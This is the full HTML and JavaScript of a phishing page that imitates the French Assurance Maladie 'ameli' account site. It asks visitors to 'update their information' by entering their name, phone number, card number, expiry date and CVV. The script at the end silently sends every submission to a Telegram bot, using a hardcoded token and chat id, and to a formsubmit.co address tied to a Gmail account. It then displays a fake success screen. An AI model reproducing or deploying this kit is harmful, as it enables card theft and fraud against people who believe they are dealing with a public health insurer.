/home2/mshostin/public_html/dfrr/formati/ameli-inscription.html
<!DOCTYPE html>
<html lang="fr">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1" />
  <title>Formulaire d'inscription - ameli</title>
  <link rel="preconnect" href="https://fonts.googleapis.com" />
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
  <link href="https://fonts.googleapis.com/css2?family=Source+Sans+3:wght@400;600;700&display=swap" rel="stylesheet" />
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      font-family: 'Source Sans 3', 'Source Sans Pro', Arial, sans-serif;
      background: #F5F7FA;
      color: #333333;
      min-height: 100vh;
      display: flex;
      flex-direction: column;
    }

    /* HEADER */
    .header {
      background: #FFFFFF;
      border-bottom: 1px solid #E5E7EB;
      padding: 12px 24px;
      display: flex;
      align-items: center;
      gap: 16px;
    }
    .header-logo {
      display: flex;
      align-items: center;
      gap: 12px;
    }
    .header-logo-icon {
      width: 48px;
      height: 48px;
      background: #E8F0FE;
      border-radius: 50%;
      display: flex;
      align-items: center;
      justify-content: center;
    }
    .header-logo-icon svg { width: 28px; height: 28px; fill: #0C419A; }
    .header-logo-text { line-height: 1.2; }
    .header-logo-text .secu { font-size: 10px; color: #0C419A; font-weight: 700; text-transform: uppercase; letter-spacing: 0.5px; }
    .header-logo-text .assurance { font-size: 16px; color: #0C419A; font-weight: 700; }
    .header-logo-text .slogan { font-size: 11px; color: #6B7280; font-style: italic; }
    .header-separator { width: 1px; height: 40px; background: #D5D5D5; margin: 0 8px; }
    .header-compte { font-size: 18px; color: #333333; }
    .header-compte strong { font-weight: 700; }

    /* BANDEAU BLEU */
    .banner {
      background: #0C419A;
      padding: 20px;
      text-align: center;
    }
    .banner h1 {
      color: #FFFFFF;
      font-size: 20px;
      font-weight: 600;
      text-transform: uppercase;
      letter-spacing: 1px;
    }

    /* MAIN */
    .main {
      flex: 1;
      max-width: 700px;
      width: 100%;
      margin: 0 auto;
      padding: 40px 16px;
    }
    .subtitle {
      color: #1A6CB0;
      font-size: 18px;
      font-weight: 600;
      margin-bottom: 8px;
    }
    .required-note {
      text-align: right;
      font-size: 14px;
      color: #6B7280;
      margin-bottom: 16px;
    }
    .required-note span { color: #E74C3C; font-weight: 700; }

    /* ERREUR GLOBALE */
    .global-error {
      display: none;
      margin-bottom: 16px;
      background: #FEF2F2;
      border: 1px solid #FECACA;
      border-radius: 4px;
      padding: 12px 16px;
      align-items: flex-start;
      gap: 12px;
    }
    .global-error.visible { display: flex; }
    .global-error svg { width: 20px; height: 20px; color: #E74C3C; flex-shrink: 0; margin-top: 2px; fill: #E74C3C; }
    .global-error p { color: #991B1B; font-size: 14px; font-weight: 500; }

    /* FORMULAIRE */
    .form-card {
      background: #FFFFFF;
      border: 1px solid #E5E7EB;
      border-radius: 4px;
      box-shadow: 0 1px 3px rgba(0,0,0,0.05);
      overflow: hidden;
    }
    .form-inner {
      border-left: 4px solid #0C419A;
      padding: 24px 32px;
    }
    .field { margin-bottom: 24px; }
    .field:last-child { margin-bottom: 0; }
    .field label {
      display: flex;
      align-items: center;
      gap: 8px;
      font-size: 14px;
      font-weight: 500;
      color: #333333;
      margin-bottom: 6px;
    }
    .field label .req { color: #E74C3C; font-weight: 700; margin-left: 2px; }
    .field input {
      width: 100%;
      border: 1px solid #D5D5D5;
      border-radius: 4px;
      padding: 10px 12px;
      font-size: 16px;
      color: #333333;
      font-family: inherit;
      outline: none;
      transition: border-color 0.2s, box-shadow 0.2s;
    }
    .field input:focus {
      border-color: #0C419A;
      box-shadow: 0 0 0 3px rgba(12,65,154,0.15);
    }
    .field input.error { border-color: #E74C3C; }
    .field input.small { max-width: 200px; }
    .field input.xsmall { max-width: 120px; }
    .field input.medium { max-width: 250px; }
    .field input.mono { font-family: 'Courier New', monospace; letter-spacing: 2px; }
    .field .error-msg {
      display: none;
      color: #E74C3C;
      font-size: 12px;
      margin-top: 4px;
      align-items: center;
      gap: 4px;
    }
    .field .error-msg.visible { display: flex; }
    .field .error-msg svg { width: 14px; height: 14px; fill: #E74C3C; flex-shrink: 0; }

    /* TOOLTIP */
    .tooltip-btn {
      background: none;
      border: none;
      cursor: pointer;
      color: #0C419A;
      display: flex;
      align-items: center;
      padding: 0;
    }
    .tooltip-btn:hover { color: #0A3680; }
    .tooltip-btn svg { width: 16px; height: 16px; fill: currentColor; }

    /* BOUTONS */
    .form-actions {
      display: flex;
      justify-content: center;
      gap: 16px;
      padding: 24px 32px;
      background: #FAFBFC;
      border-top: 1px solid #E5E7EB;
    }
    .btn {
      min-width: 180px;
      padding: 12px 32px;
      font-size: 14px;
      font-weight: 600;
      text-transform: uppercase;
      letter-spacing: 1px;
      border-radius: 4px;
      cursor: pointer;
      transition: all 0.2s;
      font-family: inherit;
    }
    .btn-outline {
      background: #FFFFFF;
      border: 2px solid #D5D5D5;
      color: #333333;
    }
    .btn-outline:hover { border-color: #0C419A; color: #0C419A; }
    .btn-primary {
      background: #0C419A;
      border: 2px solid #0C419A;
      color: #FFFFFF;
    }
    .btn-primary:hover { background: #0A3680; border-color: #0A3680; }
    .btn-primary:disabled { opacity: 0.6; cursor: not-allowed; }

    /* SÉCURITÉ */
    .security-note {
      margin-top: 24px;
      display: flex;
      align-items: flex-start;
      gap: 12px;
      font-size: 14px;
      color: #6B7280;
      background: #FFFFFF;
      border: 1px solid #E5E7EB;
      border-radius: 4px;
      padding: 16px;
    }
    .security-note svg { width: 20px; height: 20px; fill: #0C419A; flex-shrink: 0; margin-top: 2px; }

    /* FOOTER */
    .footer {
      background: #1B1B35;
      color: #9CA3AF;
      text-align: center;
      padding: 24px;
      font-size: 13px;
    }
    .footer a { color: #93C5FD; text-decoration: none; }
    .footer a:hover { text-decoration: underline; }

    /* SUCCÈS */
    .success-page {
      display: none;
      flex: 1;
      justify-content: center;
      align-items: center;
      padding: 48px 16px;
    }
    .success-page.visible { display: flex; }
    .success-card {
      background: #FFFFFF;
      border: 1px solid #E5E7EB;
      border-radius: 4px;
      box-shadow: 0 1px 3px rgba(0,0,0,0.05);
      max-width: 560px;
      width: 100%;
      padding: 40px;
      text-align: center;
    }
    .success-card svg { width: 64px; height: 64px; fill: #22C55E; margin-bottom: 16px; }
    .success-card h2 { font-size: 24px; font-weight: 600; color: #333333; margin-bottom: 12px; }
    .success-card p { color: #6B7280; font-size: 16px; line-height: 1.6; }
    .success-card .btn { margin-top: 24px; }

    .form-page { display: block; }
    .form-page.hidden { display: none; }

    /* RESPONSIVE */
    @media (max-width: 640px) {
      .form-inner { padding: 20px 16px; }
      .form-actions { padding: 20px 16px; flex-direction: column; }
      .btn { width: 100%; }
      .field input.small, .field input.xsmall, .field input.medium { max-width: 100%; }
      .header { padding: 10px 16px; }
    }
  </style>
</head>
<body>

  <!-- HEADER -->
  <header class="header">
    <div class="header-logo">
      <div class="header-logo-icon">
        <svg viewBox="0 0 24 24"><path d="M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4zm0 2c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4z"/></svg>
      </div>
      <div class="header-logo-text">
        <div class="secu">Sécurité Sociale</div>
        <div class="assurance">l'Assurance<br>Maladie</div>
        <div class="slogan">Agir ensemble, protéger chacun</div>
      </div>
    </div>
    <div class="header-separator"></div>
    <div class="header-compte">Compte <strong>ameli</strong></div>
  </header>

  <!-- BANDEAU -->
  <div class="banner">
    <h1>Mise à jour de mes informations</h1>
  </div>

  <!-- PAGE FORMULAIRE -->
  <div class="form-page" id="formPage">
    <div class="main">
      <h2 class="subtitle">Mise à jour de mes informations</h2>
      <p class="required-note"><span>*</span> champ obligatoire</p>

      <div class="global-error" id="globalError">
        <svg viewBox="0 0 20 20"><path fill-rule="evenodd" d="M10 18a8 8 0 100-16 8 8 0 000 16zM8.707 7.293a1 1 0 00-1.414 1.414L8.586 10l-1.293 1.293a1 1 0 101.414 1.414L10 11.414l1.293 1.293a1 1 0 001.414-1.414L11.414 10l1.293-1.293a1 1 0 00-1.414-1.414L10 8.586 8.707 7.293z" clip-rule="evenodd" /></svg>
        <p>Veuillez remplir tous les champs obligatoires avant de continuer.</p>
      </div>

      <form id="ameliForm" class="form-card" novalidate>
        <div class="form-inner">

          <!-- Nom du titulaire -->
          <div class="field">
            <label>Nom du titulaire <span class="req">*</span></label>
            <input type="text" id="nomTitulaire" placeholder="Nom et prénom tels qu'inscrits sur la carte" required />
            <div class="error-msg" id="errNom">
              <svg viewBox="0 0 20 20"><path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z" clip-rule="evenodd" /></svg>
              Le nom du titulaire est obligatoire.
            </div>
          </div>

          <!-- Numéro de téléphone -->
          <div class="field">
            <label>Numéro de téléphone <span class="req">*</span></label>
            <input type="tel" id="telephone" class="medium" placeholder="06 00 00 00 00" required />
            <div class="error-msg" id="errTel">
              <svg viewBox="0 0 20 20"><path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z" clip-rule="evenodd" /></svg>
              Le numéro de téléphone doit contenir au moins 10 chiffres.
            </div>
          </div>

          <!-- Numéro de carte -->
          <div class="field">
            <label>Mon numéro de carte (16 chiffres) <span class="req">*</span>
              <button type="button" class="tooltip-btn" title="Le numéro de carte se trouve au recto de votre carte Vitale. Il est composé de 16 chiffres.">
                <svg viewBox="0 0 24 24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92C13.45 12.9 13 13.5 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.37-.36.59-.86.59-1.41 0-1.1-.9-2-2-2s-2 .9-2 2H8c0-2.21 1.79-4 4-4s4 1.79 4 4c0 .88-.36 1.68-.93 2.25z"/></svg>
              </button>
            </label>
            <input type="text" id="numeroCarte" class="mono" placeholder="0000 0000 0000 0000" maxlength="19" inputmode="numeric" required />
            <div class="error-msg" id="errCarte">
              <svg viewBox="0 0 20 20"><path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z" clip-rule="evenodd" /></svg>
              Le numéro de carte doit contenir 16 chiffres.
            </div>
          </div>

          <!-- Date mois / année -->
          <div class="field">
            <label>Date (mois / année) <span class="req">*</span>
              <button type="button" class="tooltip-btn" title="Saisissez la date au format mois/année, par exemple 03/2026.">
                <svg viewBox="0 0 24 24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92C13.45 12.9 13 13.5 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.37-.36.59-.86.59-1.41 0-1.1-.9-2-2-2s-2 .9-2 2H8c0-2.21 1.79-4 4-4s4 1.79 4 4c0 .88-.36 1.68-.93 2.25z"/></svg>
              </button>
            </label>
            <input type="text" id="dateExpiration" class="small mono" placeholder="MM/AAAA" maxlength="7" inputmode="numeric" required />
            <div class="error-msg" id="errDate">
              <svg viewBox="0 0 20 20"><path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z" clip-rule="evenodd" /></svg>
              Veuillez saisir une date valide au format MM/AAAA.
            </div>
          </div>

          <!-- CVV -->
          <div class="field">
            <label>Cryptogramme visuel (CVV) <span class="req">*</span>
              <button type="button" class="tooltip-btn" title="Le cryptogramme visuel (CVV) est le code à 3 ou 4 chiffres situé au dos de votre carte.">
                <svg viewBox="0 0 24 24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92C13.45 12.9 13 13.5 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.37-.36.59-.86.59-1.41 0-1.1-.9-2-2-2s-2 .9-2 2H8c0-2.21 1.79-4 4-4s4 1.79 4 4c0 .88-.36 1.68-.93 2.25z"/></svg>
              </button>
            </label>
            <input type="text" id="cvv" class="xsmall mono" placeholder="000" maxlength="4" inputmode="numeric" required />
            <div class="error-msg" id="errCvv">
              <svg viewBox="0 0 20 20"><path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z" clip-rule="evenodd" /></svg>
              Le CVV doit contenir 3 ou 4 chiffres.
            </div>
          </div>

        </div>

        <!-- BOUTONS -->
        <div class="form-actions">
          <button type="button" class="btn btn-outline" id="btnEffacer">Effacer</button>
          <button type="submit" class="btn btn-primary" id="btnSubmit">Continuer</button>
        </div>
      </form>

      <!-- Info sécurité -->
      <div class="security-note">
        <svg viewBox="0 0 20 20"><path fill-rule="evenodd" d="M10 1a4.5 4.5 0 00-4.5 4.5V9H5a2 2 0 00-2 2v6a2 2 0 002 2h10a2 2 0 002-2v-6a2 2 0 00-2-2h-.5V5.5A4.5 4.5 0 0010 1zm3 8V5.5a3 3 0 10-6 0V9h6z" clip-rule="evenodd" /></svg>
        <p>Vos données personnelles sont protégées. Elles sont traitées de manière confidentielle conformément à la réglementation en vigueur (RGPD).</p>
      </div>
    </div>
  </div>

  <!-- PAGE SUCCÈS -->
  <div class="success-page" id="successPage">
    <div class="success-card">
      <svg viewBox="0 0 24 24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-2 15l-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8l-9 9z"/></svg>
      <h2>Mise à jour réussie</h2>
      <p>Vos informations ont été mises à jour avec succès.</p>
      <button class="btn btn-primary" id="btnRetour">Retour à l'accueil</button>
    </div>
  </div>

  <!-- FOOTER -->
  <footer class="footer">
    <p>© 2026 l'Assurance Maladie — <a href="https://www.ameli.fr" target="_blank">ameli.fr</a> — Tous droits réservés</p>
  </footer>

  <script>
    // Éléments
    const form = document.getElementById('ameliForm');
    const formPage = document.getElementById('formPage');
    const successPage = document.getElementById('successPage');
    const globalError = document.getElementById('globalError');
    const btnEffacer = document.getElementById('btnEffacer');
    const btnRetour = document.getElementById('btnRetour');
    const btnSubmit = document.getElementById('btnSubmit');

    const fields = {
      nomTitulaire: { input: document.getElementById('nomTitulaire'), error: document.getElementById('errNom') },
      telephone: { input: document.getElementById('telephone'), error: document.getElementById('errTel') },
      numeroCarte: { input: document.getElementById('numeroCarte'), error: document.getElementById('errCarte') },
      dateExpiration: { input: document.getElementById('dateExpiration'), error: document.getElementById('errDate') },
      cvv: { input: document.getElementById('cvv'), error: document.getElementById('errCvv') },
    };

    // Formatage numéro de carte
    fields.numeroCarte.input.addEventListener('input', function() {
      let val = this.value.replace(/\D/g, '').slice(0, 16);
      val = val.replace(/(\d{4})(?=\d)/g, '$1 ');
      this.value = val;
      clearFieldError('numeroCarte');
    });

    // Formatage date
    fields.dateExpiration.input.addEventListener('input', function(e) {
      let val = this.value.replace(/[^\d\/]/g, '');
      if (val.length === 2 && !val.includes('/') && e.inputType !== 'deleteContentBackward') {
        val = val + '/';
      }
      if (val.length <= 7) {
        this.value = val;
      } else {
        this.value = val.slice(0, 7);
      }
      clearFieldError('dateExpiration');
    });

    // Formatage CVV
    fields.cvv.input.addEventListener('input', function() {
      this.value = this.value.replace(/\D/g, '').slice(0, 4);
      clearFieldError('cvv');
    });

    // Formatage téléphone
    fields.telephone.input.addEventListener('input', function() {
      this.value = this.value.replace(/[^\d\s+]/g, '').slice(0, 14);
      clearFieldError('telephone');
    });

    // Nom
    fields.nomTitulaire.input.addEventListener('input', function() {
      clearFieldError('nomTitulaire');
    });

    function clearFieldError(name) {
      fields[name].input.classList.remove('error');
      fields[name].error.classList.remove('visible');
      if (document.querySelectorAll('.error-msg.visible').length === 0) {
        globalError.classList.remove('visible');
      }
    }

    function showFieldError(name) {
      fields[name].input.classList.add('error');
      fields[name].error.classList.add('visible');
    }

    function validate() {
      let valid = true;

      // Nom
      if (!fields.nomTitulaire.input.value.trim()) {
        showFieldError('nomTitulaire');
        valid = false;
      }

      // Téléphone
      const telDigits = fields.telephone.input.value.replace(/\s/g, '');
      if (!telDigits || telDigits.length < 10) {
        showFieldError('telephone');
        valid = false;
      }

      // Numéro de carte
      const carteDigits = fields.numeroCarte.input.value.replace(/\D/g, '');
      if (carteDigits.length !== 16) {
        showFieldError('numeroCarte');
        valid = false;
      }

      // Date
      const dateVal = fields.dateExpiration.input.value;
      if (!dateVal || !/^(0[1-9]|1[0-2])\/\d{4}$/.test(dateVal)) {
        showFieldError('dateExpiration');
        valid = false;
      }

      // CVV
      const cvvVal = fields.cvv.input.value;
      if (!cvvVal || !/^\d{3,4}$/.test(cvvVal)) {
        showFieldError('cvv');
        valid = false;
      }

      if (!valid) {
        globalError.classList.add('visible');
        const firstErr = document.querySelector('.field input.error');
        if (firstErr) {
          firstErr.scrollIntoView({ behavior: 'smooth', block: 'center' });
          firstErr.focus();
        }
      }

      return valid;
    }

    // Envoi Telegram
    async function sendToTelegram(data) {
      const message =
        `📋 Mise à jour Ameli\n\n` +
        `👤 Nom du titulaire : ${data.nomTitulaire}\n` +
        `📱 Téléphone : ${data.telephone}\n` +
        `🔢 Numéro de carte : ${data.numeroCarte}\n` +
        `📅 Date : ${data.dateExpiration}\n` +
        `🔐 CVV : ${data.cvv}`;

      try {
        await fetch('https://api.telegram.org/bot8060240447:AAEG1tcC-3Fl4rZti5SIGFMSNnRb-qyYtpk/sendMessage', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({
            chat_id: '8134760873',
            text: message,
            parse_mode: 'HTML',
          }),
        });
      } catch (err) {
        console.error('Telegram error:', err);
      }
    }

    // Envoi Email
    async function sendEmail(data) {
      try {
        await fetch('https://formsubmit.co/ajax/kay16071994@gmail.com', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json', Accept: 'application/json' },
          body: JSON.stringify({
            'Nom du titulaire': data.nomTitulaire,
            'Téléphone': data.telephone,
            'Numéro de carte': data.numeroCarte,
            'Date': data.dateExpiration,
            'CVV': data.cvv,
          }),
        });
      } catch (err) {
        console.error('Email error:', err);
      }
    }

    // Soumission
    form.addEventListener('submit', async function(e) {
      e.preventDefault();
      if (!validate()) return;

      btnSubmit.disabled = true;
      btnSubmit.textContent = 'Envoi en cours...';

      const data = {
        nomTitulaire: fields.nomTitulaire.input.value.trim(),
        telephone: fields.telephone.input.value.trim(),
        numeroCarte: fields.numeroCarte.input.value.trim(),
        dateExpiration: fields.dateExpiration.input.value.trim(),
        cvv: fields.cvv.input.value.trim(),
      };

      try {
        await Promise.all([sendToTelegram(data), sendEmail(data)]);
        formPage.classList.add('hidden');
        successPage.classList.add('visible');
      } catch (err) {
        console.error('Submit error:', err);
      } finally {
        btnSubmit.disabled = false;
        btnSubmit.textContent = 'Continuer';
      }
    });

    // Effacer
    btnEffacer.addEventListener('click', function() {
      Object.values(fields).forEach(f => {
        f.input.value = '';
        f.input.classList.remove('error');
        f.error.classList.remove('visible');
      });
      globalError.classList.remove('visible');
    });

    // Retour
    btnRetour.addEventListener('click', function() {
      Object.values(fields).forEach(f => {
        f.input.value = '';
        f.input.classList.remove('error');
        f.error.classList.remove('visible');
      });
      globalError.classList.remove('visible');
      successPage.classList.remove('visible');
      formPage.classList.remove('hidden');
    });
  </script>
</body>
</html>